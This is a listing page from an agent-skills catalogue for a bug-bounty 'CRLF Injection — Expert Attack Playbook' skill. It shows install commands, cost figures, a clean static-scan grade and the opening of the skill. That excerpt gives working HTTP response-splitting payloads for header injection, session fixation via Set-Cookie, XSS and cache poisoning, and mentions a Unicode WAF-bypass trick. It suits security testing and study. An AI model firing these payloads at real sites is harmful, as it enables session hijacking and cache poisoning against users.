Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ShulkwiSEC/bb-huge --skill crlf-injectiongit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/crlf-injection)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/crlf-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/crlf-injection.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00044 | $0.01447 |
| Opus 5 | $0.00022 | $0.00724 |
| Sonnet 5 | $0.00009 | $0.00289 |
| Haiku 4.5 | $0.00004 | $0.00145 |
Grade A, and why
crlf-injection scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to crlf-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 180 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: CRLF Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
0. RELATED ROUTING
- ghost-bits-cast-attack when the target is a Java service and
%0D%0A/\r\nencodings are WAF-blocked — substituting瘍(U+760D, low byte\r) and瘊(U+760A, low byte\n) injects a real CRLF through Angus Mail / Jakarta Mail SMTP, Apache HttpClient headers, JDK HttpServer responses, and ActiveJ HTTP (re-enables Jira CVE-2025-57733 and JDK CVE-2026-21933 classes)
1. CORE CONCEPT
CRLF = \r\n (Carriage Return + Line Feed, %0D%0A). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie
2. DETECTION
Basic Probe
%0D%0ANew-Header:injected
# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true
# Check response headers for "X-Injected: true"
Double CRLF — Body Injection
Two consecutive CRLF sequences end headers and start body:
%0D%0A%0D%0A<script>alert(1)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>
3. EXPLOITATION SCENARIOS
Session Fixation via Set-Cookie
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
XSS via Response Body
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
Cache Poisoning
If the response is cached by a CDN or proxy, injected headers/body are served to all users:
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 180 lines · 44 tokens per session scan A 03a3f55658d3
crlf-injection is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 44 tokens to every session and 1,447 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to crlf-injection, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
hunt-api-misconfig
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {isadmin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this…
octopus-architecture
Review system architecture, simplify boundaries, or compare interface designs from repository evidence.
agenticx-a2a-connector
Guide for using the A2A (Agent-to-Agent) communication protocol in AgenticX including agent discovery, skill invocation, remote agent cards, and distributed agent systems. Use when the user wants agents to communicate with each other, set up distributed agent systems, invoke remote agent skills, or build…
agenticx-tool-creator
Guide for creating custom tools in AgenticX including function decorator tools, MCP tool integration, tool registries, and remote tool access. Use when the user wants to create tools for agents, integrate external APIs as tools, build MCP servers, or extend agent capabilities with custom functions.
continuum-tools-mcp
Connect MCP servers (Stdio/SSE/StreamableHTTP) to a Continuum agent, configure tool filtering, set up tool-context capture/injection (e.g. sessionid), and read run artifacts (UI widgets, structured tool data). Invoke when the user asks "connect MCP", "filesystem tool", "remote API tool", "auto-capture sessionid"…
pwn-ai-openai
Drive PWN::AI::OpenAI from pwneval.